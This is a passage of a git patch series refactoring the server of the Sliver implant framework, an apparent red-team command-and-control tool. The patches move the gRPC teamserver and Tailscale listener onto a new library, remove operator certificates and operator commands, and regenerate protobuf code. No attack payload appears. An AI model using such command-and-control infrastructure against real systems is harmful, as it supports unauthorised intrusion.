Teamserver/Sliver services + proto.RegisterTeamServer(grpcServer, newServer(h.Server)) + rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) rpcLog.Infof("Serving gRPC teamserver on %s", ln.Addr()) @@ -189,17 +189,4 @@ func (h *Teamserver) Listen(addr string) (ln net.Listener, err error) { panicked = false } }() - - return ln, nil -} - -// Close implements team/server.Handler.Close(). -// In this implementation, the function does nothing. Thus the underlying -// *grpc.Server.Shutdown() method is not called, and only the listener -// will be closed by the server automatically when using CloseListener(). -// -// This is probably not optimal from a resource usage standpoint, but currently it -// fits most use cases. Feel free to reimplement or propose changes to this lib. -func (h *Teamserver) Close() error { - return nil } diff --git a/server/transport/tailscale.go b/server/transport/tailscale.go index 44ea47f27b..6b86c6902d 100644 --- a/server/transport/tailscale.go +++ b/server/transport/tailscale.go @@ -21,23 +21,43 @@ package transport import ( "fmt" "net" + "net/url" "os" "path/filepath" - "runtime/debug" + "sync" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/assets" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/rpc" + "github.com/reeflective/team/server" "google.golang.org/grpc" - "google.golang.org/grpc/credentials" "tailscale.com/tsnet" + + "github.com/bishopfox/sliver/server/assets" ) -var tsNetLog = log.NamedLogger("transport", "tsnet") +type TailScaleTeamserver struct { + *Teamserver +} + +func NewTailScaleListener(opts ...grpc.ServerOption) server.Listener { + core := &Teamserver{ + mutex: &sync.RWMutex{}, + } + + core.options = append(core.options, opts...) + + return &TailScaleTeamserver{core} +} + +func (ts *TailScaleTeamserver) Listen(addr string) (ln net.Listener, err error) { + tsNetLog := ts.NamedLogger("transport", "tailscale") + + url, err := url.Parse(fmt.Sprintf("ts://%s", addr)) + if err != nil { + return nil, err + } + + hostname := url.Hostname() + port := url.Port() -// StartTsNetClientListener - Start a TSNet gRPC listener -func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.Listener, error) { if hostname == "" { hostname = "sliver-server" machineName, _ := os.Hostname() @@ -46,17 +66,17 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L } } - tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%d", hostname, port) + tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%d", hostname, port) authKey := os.Getenv("TS_AUTHKEY") if authKey == "" { tsNetLog.Errorf("TS_AUTHKEY not set") - return nil, nil, fmt.Errorf("TS_AUTHKEY not set") + return nil, fmt.Errorf("TS_AUTHKEY not set") } tsnetDir := filepath.Join(assets.GetRootAppDir(), "tsnet") if err := os.MkdirAll(tsnetDir, 0o700); err != nil { - return nil, nil, err + return nil, err } tsNetServer := &tsnet.Server{ @@ -65,35 +85,18 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L Logf: tsNetLog.Debugf, AuthKey: authKey, } - ln, err := tsNetServer.Listen("tcp", fmt.Sprintf(":%d", port)) + + ln, err = tsNetServer.Listen("tcp", fmt.Sprintf(":%d", port)) if err != nil { - return nil, nil, err + return nil, err } - // We don't really need the mutual TLS here, but it's easier - // maintain compatibility with existing config files - tlsConfig := getOperatorServerTLSConfig("multiplayer") - creds := credentials.NewTLS(tlsConfig) - options := []grpc.ServerOption{ - grpc.Creds(creds), - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - } - // options = append(options, initMiddleware(true)...) - grpcServer := grpc.NewServer(options...) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - go func() { - panicked := true - defer func() { - if panicked { - tsNetLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - if err := grpcServer.Serve(ln); err != nil { - tsNetLog.Warnf("gRPC/tsnet server exited with error: %v", err) - } else { - panicked = false - } - }() - return grpcServer, ln, nil + ts.serve(ln) + + return ln, nil +} + +// It indicates the transport/rpc stack, in this case "gRPC". +func (ts *TailScaleTeamserver) Name() string { + return "gRPC/TSNet" } From 139b44d882b8f404f906a255925d7208fedf4aea Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 02:27:36 +0200 Subject: [PATCH 019/124] Keep removing old code not needed --- go.sum | 2 -- .../team/server/commands/commands.go | 20 +++++++++---------- 2 files changed, 10 insertions(+), 12 deletions(-) diff --git a/go.sum b/go.sum index ba570edf91..df65d357b5 100644 --- a/go.sum +++ b/go.sum @@ -322,8 +322,6 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw= github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= github.com/reeflective/readline v1.0.8 h1:VuDGI82lAwl1H5by+hpW4OQgM+9ikh6EuOySQUGP3sI= diff --git a/vendor/github.com/reeflective/team/server/commands/commands.go b/vendor/github.com/reeflective/team/server/commands/commands.go index f8ea077d17..618a32b6d0 100644 --- a/vendor/github.com/reeflective/team/server/commands/commands.go +++ b/vendor/github.com/reeflective/team/server/commands/commands.go @@ -51,22 +51,22 @@ func Generate(teamserver *server.Server, teamclient *client.Client) *cobra.Comma // On top, they need a listener in memory. servCmds := serverCommands(teamserver, teamclient) - for _, cmd := range servCmds.Commands() { - cmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error { - return teamserver.Serve(teamclient) - } - } + // for _, cmd := range servCmds.Commands() { + // cmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error { + // return teamserver.Serve(teamclient) + // } + // } // We bind the same runners to the client-side commands. cliCmds := cli.Generate(teamclient) cliCmds.Use = "client" cliCmds.GroupID = command.TeamServerGroup - for _, cmd := range cliCmds.Commands() { - cmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error { - return teamserver.Serve(teamclient) - } - } + // for _, cmd := range cliCmds.Commands() { + // cmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error { + // return teamserver.Serve(teamclient) + // } + // } servCmds.AddCommand(cliCmds) From cb8d01eb6cf209503f83b39142247855f09be19d Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 02:27:57 +0200 Subject: [PATCH 020/124] End of previous commit --- server/certs/README.md | 4 -- server/certs/ca.go | 10 ++--- server/certs/certs_test.go | 44 ------------------- server/certs/operators.go | 75 -------------------------------- server/command/certs/certs.go | 5 +-- server/configs/server.go | 34 +++------------ server/core/rtunnels/rtunnels.go | 10 ++--- 7 files changed, 18 insertions(+), 164 deletions(-) delete mode 100644 server/certs/README.md delete mode 100644 server/certs/certs_test.go diff --git a/server/certs/README.md b/server/certs/README.md deleted file mode 100644 index ea7e38806b..0000000000 --- a/server/certs/README.md +++ /dev/null @@ -1,4 +0,0 @@ -certs -====== - -X.509 certificate generation and management code. diff --git a/server/certs/ca.go b/server/certs/ca.go index 7ebf12f321..20205bca58 100644 --- a/server/certs/ca.go +++ b/server/certs/ca.go @@ -38,7 +38,6 @@ import ( func SetupCAs() { GenerateCertificateAuthority(MtlsImplantCA, "") GenerateCertificateAuthority(MtlsServerCA, "") - GenerateCertificateAuthority(OperatorCA, "operators") GenerateCertificateAuthority(HTTPSCA, "") } @@ -46,7 +45,7 @@ func getCertDir() string { rootDir := assets.GetRootAppDir() certDir := filepath.Join(rootDir, "certs") if _, err := os.Stat(certDir); os.IsNotExist(err) { - err := os.MkdirAll(certDir, 0700) + err := os.MkdirAll(certDir, 0o700) if err != nil { certsLog.Fatalf("Failed to create cert dir %s", err) } @@ -126,10 +125,9 @@ func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) { // doesn't return an error because errors are fatal. If we can't generate CAs, // then we can't secure communication and we should die a horrible death. func SaveCertificateAuthority(caType string, cert []byte, key []byte) { - storageDir := getCertDir() if _, err := os.Stat(storageDir); os.IsNotExist(err) { - os.MkdirAll(storageDir, 0700) + os.MkdirAll(storageDir, 0o700) } // CAs get written to the filesystem since we control the names and makes them @@ -137,12 +135,12 @@ func SaveCertificateAuthority(caType string, cert []byte, key []byte) { certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType)) keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType)) - err := ioutil.WriteFile(certFilePath, cert, 0600) + err := ioutil.WriteFile(certFilePath, cert, 0o600) if err != nil { certsLog.Fatalf("Failed write certificate data to: %s", certFilePath) } - err = ioutil.WriteFile(keyFilePath, key, 0600) + err = ioutil.WriteFile(keyFilePath, key, 0o600) if err != nil { certsLog.Fatalf("Failed write certificate data to: %s", keyFilePath) } diff --git a/server/certs/certs_test.go b/server/certs/certs_test.go deleted file mode 100644 index d2c8034dd1..0000000000 --- a/server/certs/certs_test.go +++ /dev/null @@ -1,44 +0,0 @@ -package certs - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bytes" - "testing" -) - -func TestOperatorGenerateCertificate(t *testing.T) { - GenerateCertificateAuthority(OperatorCA, "") - cert1, key1, err := OperatorClientGenerateCertificate("test3") - if err != nil { - t.Errorf("Failed to store ecc certificate %v", err) - return - } - - cert2, key2, err := OperatorClientGetCertificate("test3") - if err != nil { - t.Errorf("Failed to get ecc certificate %v", err) - return - } - - if !bytes.Equal(cert1, cert2) || !bytes.Equal(key1, key2) { - t.Errorf("Stored ecc cert/key does match generated cert/key: %v != %v", cert1, cert2) - return - } -} diff --git a/server/certs/operators.go b/server/certs/operators.go index aa91d1b501..591c4319a6 100644 --- a/server/certs/operators.go +++ b/server/certs/operators.go @@ -17,78 +17,3 @@ package certs You should have received a copy of the GNU General Public License along with this program. If not, see . */ - -import ( - "crypto/x509" - "encoding/pem" - "fmt" - - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/db/models" -) - -const ( - // OperatorCA - Directory containing operator certificates - OperatorCA = "operator" - - clientNamespace = "client" // Operator clients - serverNamespace = "server" // Operator servers -) - -// OperatorClientGenerateCertificate - Generate a certificate signed with a given CA -func OperatorClientGenerateCertificate(operator string) ([]byte, []byte, error) { - cert, key := GenerateECCCertificate(OperatorCA, operator, false, true) - err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator), cert, key) - return cert, key, err -} - -// OperatorClientGetCertificate - Helper function to fetch a client cert -func OperatorClientGetCertificate(operator string) ([]byte, []byte, error) { - return GetECCCertificate(OperatorCA, fmt.Sprintf("%s.%s", clientNamespace, operator)) -} - -// OperatorClientRemoveCertificate - Helper function to remove a client cert -func OperatorClientRemoveCertificate(operator string) error { - return RemoveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator)) -} - -// OperatorServerGetCertificate - Helper function to fetch a server cert -func OperatorServerGetCertificate(hostname string) ([]byte, []byte, error) { - return GetECCCertificate(OperatorCA, fmt.Sprintf("%s.%s", serverNamespace, hostname)) -} - -// OperatorServerGenerateCertificate - Generate a certificate signed with a given CA -func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error) { - cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false) - err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, hostname), cert, key) - return cert, key, err -} - -// OperatorClientListCertificates - Get all client certificates -func OperatorClientListCertificates() []*x509.Certificate { - operatorCerts := []*models.Certificate{} - dbSession := db.Session() - result := dbSession.Where(&models.Certificate{CAType: OperatorCA}).Find(&operatorCerts) - if result.Error != nil { - certsLog.Error(result.Error) - return []*x509.Certificate{} - } - - certsLog.Infof("Found %d operator certs ...", len(operatorCerts)) - - certs := []*x509.Certificate{} - for _, operator := range operatorCerts { - block, _ := pem.Decode([]byte(operator.CertificatePEM)) - if block == nil { - certsLog.Warn("failed to parse certificate PEM") - continue - } - cert, err := x509.ParseCertificate(block.Bytes) - if err != nil { - certsLog.Warnf("failed to parse x.509 certificate %v", err) - continue - } - certs = append(certs, cert) - } - return certs -} diff --git a/server/command/certs/certs.go b/server/command/certs/certs.go index aaac31e2f0..b81fa8349c 100644 --- a/server/command/certs/certs.go +++ b/server/command/certs/certs.go @@ -31,9 +31,8 @@ import ( // CATypes - CA types var CATypes = map[string]string{ - "operator": certs.OperatorCA, - "mtls": certs.MtlsImplantCA, - "https": certs.HTTPSCA, + "mtls": certs.MtlsImplantCA, + "https": certs.HTTPSCA, } const ( diff --git a/server/configs/server.go b/server/configs/server.go index 2f9c004020..058b4de28d 100644 --- a/server/configs/server.go +++ b/server/configs/server.go @@ -35,9 +35,7 @@ const ( serverConfigFileName = "server.json" ) -var ( - serverConfigLog = log.NamedLogger("config", "server") -) +var serverConfigLog = log.NamedLogger("config", "server") // GetServerConfigPath - File path to config.json func GetServerConfigPath() string { @@ -63,18 +61,10 @@ type DaemonConfig struct { // JobConfig - Restart Jobs on Load type JobConfig struct { - Multiplayer []*MultiplayerJobConfig `json:"multiplayer"` - MTLS []*MTLSJobConfig `json:"mtls,omitempty"` - WG []*WGJobConfig `json:"wg,omitempty"` - DNS []*DNSJobConfig `json:"dns,omitempty"` - HTTP []*HTTPJobConfig `json:"http,omitempty"` -} - -type MultiplayerJobConfig struct { - Host string `json:"host"` - Port uint16 `json:"port"` - JobID string `json:"job_id"` - Tailscale bool `json:"tailscale"` + MTLS []*MTLSJobConfig `json:"mtls,omitempty"` + WG []*WGJobConfig `json:"wg,omitempty"` + DNS []*DNSJobConfig `json:"dns,omitempty"` + HTTP []*HTTPJobConfig `json:"http,omitempty"` } // MTLSJobConfig - Per-type job configs @@ -142,7 +132,7 @@ func (c *ServerConfig) Save() error { configDir := filepath.Dir(configPath) if _, err := os.Stat(configDir); os.IsNotExist(err) { serverConfigLog.Debugf("Creating config dir %s", configDir) - err := os.MkdirAll(configDir, 0700) + err := os.MkdirAll(configDir, 0o700) if err != nil { return err } @@ -152,23 +142,13 @@ func (c *ServerConfig) Save() error { return err } serverConfigLog.Infof("Saving config to %s", configPath) - err = os.WriteFile(configPath, data, 0600) + err = os.WriteFile(configPath, data, 0o600) if err != nil { serverConfigLog.Errorf("Failed to write config %s", err) } return nil } -// AddMultiplayerJob - Add Job Configs -func (c *ServerConfig) AddMultiplayerJob(config *MultiplayerJobConfig) error { - if c.Jobs == nil { - c.Jobs = &JobConfig{} - } - config.JobID = getRandomID() - c.Jobs.Multiplayer = append(c.Jobs.Multiplayer, config) - return c.Save() -} - // AddMTLSJob - Add Job Configs func (c *ServerConfig) AddMTLSJob(config *MTLSJobConfig) error { if c.Jobs == nil { diff --git a/server/core/rtunnels/rtunnels.go b/server/core/rtunnels/rtunnels.go index 4841989f51..312f254461 100644 --- a/server/core/rtunnels/rtunnels.go +++ b/server/core/rtunnels/rtunnels.go @@ -10,7 +10,7 @@ var ( mutex sync.RWMutex ) -// RTunnel - Duplex byte read/write +// RTunnel - Duplex byte read/write. type RTunnel struct { ID uint64 SessionID string @@ -62,7 +62,7 @@ func (c *RTunnel) IncWriteSequence() { c.writeSequence += 1 } -// Close - close RTunnel reader and writer +// Close - close RTunnel reader and writer. func (c *RTunnel) Close() { for _, rc := range c.Readers { if rc != nil { @@ -72,14 +72,14 @@ func (c *RTunnel) Close() { c.Writer.Close() } -// Tunnel - Add tunnel to mapping +// Tunnel - Add tunnel to mapping. func GetRTunnel(ID uint64) *RTunnel { mutex.RLock() defer mutex.RUnlock() return Rtunnels[ID] } -// AddTunnel - Add tunnel to mapping +// AddTunnel - Add tunnel to mapping. func AddRTunnel(tun *RTunnel) { mutex.Lock() defer mutex.Unlock() @@ -87,7 +87,7 @@ func AddRTunnel(tun *RTunnel) { Rtunnels[tun.ID] = tun } -// RemoveTunnel - Add tunnel to mapping +// RemoveTunnel - Add tunnel to mapping. func RemoveRTunnel(ID uint64) { mutex.Lock() defer mutex.Unlock() From e39db64c860e5f45e1e603e5cce69800bdf77437 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 02:37:17 +0200 Subject: [PATCH 021/124] Remove related operators commands and RPC stub --- client/command/operators/README.md | 6 - client/command/operators/commands.go | 29 - client/command/operators/operators.go | 67 - client/command/server.go | 2 - protobuf/clientpb/client.pb.go | 2323 ++++++++++++------------- protobuf/clientpb/client.proto | 2 - protobuf/commonpb/common.pb.go | 7 +- protobuf/dnspb/dns.pb.go | 10 +- protobuf/rpcpb/services.pb.go | 2070 +++++++++++----------- protobuf/rpcpb/services.proto | 3 - protobuf/rpcpb/services_grpc.pb.go | 858 +++++---- protobuf/sliverpb/sliver.pb.go | 4 +- server/rpc/rpc-operators.go | 53 - server/transport/rpc.go | 15 +- 14 files changed, 2679 insertions(+), 2770 deletions(-) delete mode 100644 client/command/operators/README.md delete mode 100644 client/command/operators/commands.go delete mode 100644 client/command/operators/operators.go delete mode 100644 server/rpc/rpc-operators.go diff --git a/client/command/operators/README.md b/client/command/operators/README.md deleted file mode 100644 index cb946e2b47..0000000000 --- a/client/command/operators/README.md +++ /dev/null @@ -1,6 +0,0 @@ -Operators -========== - -Operator related command implementations. - -__NOTE:__ Some operator-related commands are server-side only and are located instead in `server/console` diff --git a/client/command/operators/commands.go b/client/command/operators/commands.go deleted file mode 100644 index acdf6c7835..0000000000 --- a/client/command/operators/commands.go +++ /dev/null @@ -1,29 +0,0 @@ -package operators - -import ( - "github.com/spf13/cobra" - "github.com/spf13/pflag" - - "github.com/bishopfox/sliver/client/command/flags" - "github.com/bishopfox/sliver/client/command/help" - "github.com/bishopfox/sliver/client/console" - consts "github.com/bishopfox/sliver/client/constants" -) - -// Commands returns the “ command and its subcommands. -func Commands(con *console.SliverClient) []*cobra.Command { - operatorsCmd := &cobra.Command{ - Use: consts.OperatorsStr, - Short: "Manage operators", - Long: help.GetHelpFor([]string{consts.OperatorsStr}), - Run: func(cmd *cobra.Command, args []string) { - OperatorsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - flags.Bind("operators", false, operatorsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") - }) - - return []*cobra.Command{operatorsCmd} -} diff --git a/client/command/operators/operators.go b/client/command/operators/operators.go deleted file mode 100644 index 70824a341d..0000000000 --- a/client/command/operators/operators.go +++ /dev/null @@ -1,67 +0,0 @@ -package operators - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - - "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - - "github.com/jedib0t/go-pretty/v6/table" -) - -// OperatorsCmd - Display operators and current online status -func OperatorsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - operators, err := con.Rpc.GetOperators(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintErrorf("%s\n", err) - } else if 0 < len(operators.Operators) { - displayOperators(operators.Operators, con) - } else { - con.PrintInfof("No remote operators connected\n") - } -} - -func displayOperators(operators []*clientpb.Operator, con *console.SliverClient) { - tw := table.NewWriter() - tw.SetStyle(settings.GetTableStyle(con)) - tw.AppendHeader(table.Row{ - "Name", - "Status", - }) - for _, operator := range operators { - tw.AppendRow(table.Row{ - console.Bold + operator.Name + console.Normal, - status(operator.Online), - }) - } - con.Printf("%s\n", tw.Render()) -} - -func status(isOnline bool) string { - if isOnline { - return console.Bold + console.Green + "Online" + console.Normal - } - return console.Bold + console.Red + "Offline" + console.Normal -} diff --git a/client/command/server.go b/client/command/server.go index d73bc46914..931cde702f 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -35,7 +35,6 @@ import ( "github.com/bishopfox/sliver/client/command/licenses" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/command/monitor" - "github.com/bishopfox/sliver/client/command/operators" operator "github.com/bishopfox/sliver/client/command/prelude-operator" "github.com/bishopfox/sliver/client/command/reaction" "github.com/bishopfox/sliver/client/command/sessions" @@ -85,7 +84,6 @@ func ServerCommands(con *client.SliverClient, serverCmds console.Commands) conso alias.Commands, armory.Commands, update.Commands, - operators.Commands, operator.Commands, creds.Commands, crack.Commands, diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index a291b96d2d..ebd03832cd 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.26.0 +// protoc-gen-go v1.31.0 // protoc v3.15.8 // source: clientpb/client.proto @@ -5256,7 +5256,8 @@ func (x *MsfStager) GetFile() *commonpb.File { } // GetSystemReq - Client request to the server which is translated into -// InvokeSystemReq when sending to the implant. +// +// InvokeSystemReq when sending to the implant. type GetSystemReq struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -5321,7 +5322,8 @@ func (x *GetSystemReq) GetRequest() *commonpb.Request { } // MigrateReq - Client request to the server which is translated into -// InvokeMigrateReq when sending to the implant. +// +// InvokeMigrateReq when sending to the implant. type MigrateReq struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -5821,53 +5823,6 @@ func (x *Event) GetErr() string { return "" } -type Operators struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Operators []*Operator `protobuf:"bytes,1,rep,name=Operators,proto3" json:"Operators,omitempty"` -} - -func (x *Operators) Reset() { - *x = Operators{} - if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[63] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Operators) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Operators) ProtoMessage() {} - -func (x *Operators) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[63] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Operators.ProtoReflect.Descriptor instead. -func (*Operators) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{63} -} - -func (x *Operators) GetOperators() []*Operator { - if x != nil { - return x.Operators - } - return nil -} - type Operator struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -5880,7 +5835,7 @@ type Operator struct { func (x *Operator) Reset() { *x = Operator{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5893,7 +5848,7 @@ func (x *Operator) String() string { func (*Operator) ProtoMessage() {} func (x *Operator) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5906,7 +5861,7 @@ func (x *Operator) ProtoReflect() protoreflect.Message { // Deprecated: Use Operator.ProtoReflect.Descriptor instead. func (*Operator) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{64} + return file_clientpb_client_proto_rawDescGZIP(), []int{63} } func (x *Operator) GetOnline() bool { @@ -5938,7 +5893,7 @@ type WebContent struct { func (x *WebContent) Reset() { *x = WebContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5951,7 +5906,7 @@ func (x *WebContent) String() string { func (*WebContent) ProtoMessage() {} func (x *WebContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5964,7 +5919,7 @@ func (x *WebContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebContent.ProtoReflect.Descriptor instead. func (*WebContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{65} + return file_clientpb_client_proto_rawDescGZIP(), []int{64} } func (x *WebContent) GetPath() string { @@ -6007,7 +5962,7 @@ type WebsiteAddContent struct { func (x *WebsiteAddContent) Reset() { *x = WebsiteAddContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6020,7 +5975,7 @@ func (x *WebsiteAddContent) String() string { func (*WebsiteAddContent) ProtoMessage() {} func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6033,7 +5988,7 @@ func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteAddContent.ProtoReflect.Descriptor instead. func (*WebsiteAddContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{66} + return file_clientpb_client_proto_rawDescGZIP(), []int{65} } func (x *WebsiteAddContent) GetName() string { @@ -6062,7 +6017,7 @@ type WebsiteRemoveContent struct { func (x *WebsiteRemoveContent) Reset() { *x = WebsiteRemoveContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6075,7 +6030,7 @@ func (x *WebsiteRemoveContent) String() string { func (*WebsiteRemoveContent) ProtoMessage() {} func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6088,7 +6043,7 @@ func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteRemoveContent.ProtoReflect.Descriptor instead. func (*WebsiteRemoveContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{67} + return file_clientpb_client_proto_rawDescGZIP(), []int{66} } func (x *WebsiteRemoveContent) GetName() string { @@ -6117,7 +6072,7 @@ type Website struct { func (x *Website) Reset() { *x = Website{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6130,7 +6085,7 @@ func (x *Website) String() string { func (*Website) ProtoMessage() {} func (x *Website) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6143,7 +6098,7 @@ func (x *Website) ProtoReflect() protoreflect.Message { // Deprecated: Use Website.ProtoReflect.Descriptor instead. func (*Website) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{68} + return file_clientpb_client_proto_rawDescGZIP(), []int{67} } func (x *Website) GetName() string { @@ -6171,7 +6126,7 @@ type Websites struct { func (x *Websites) Reset() { *x = Websites{} if 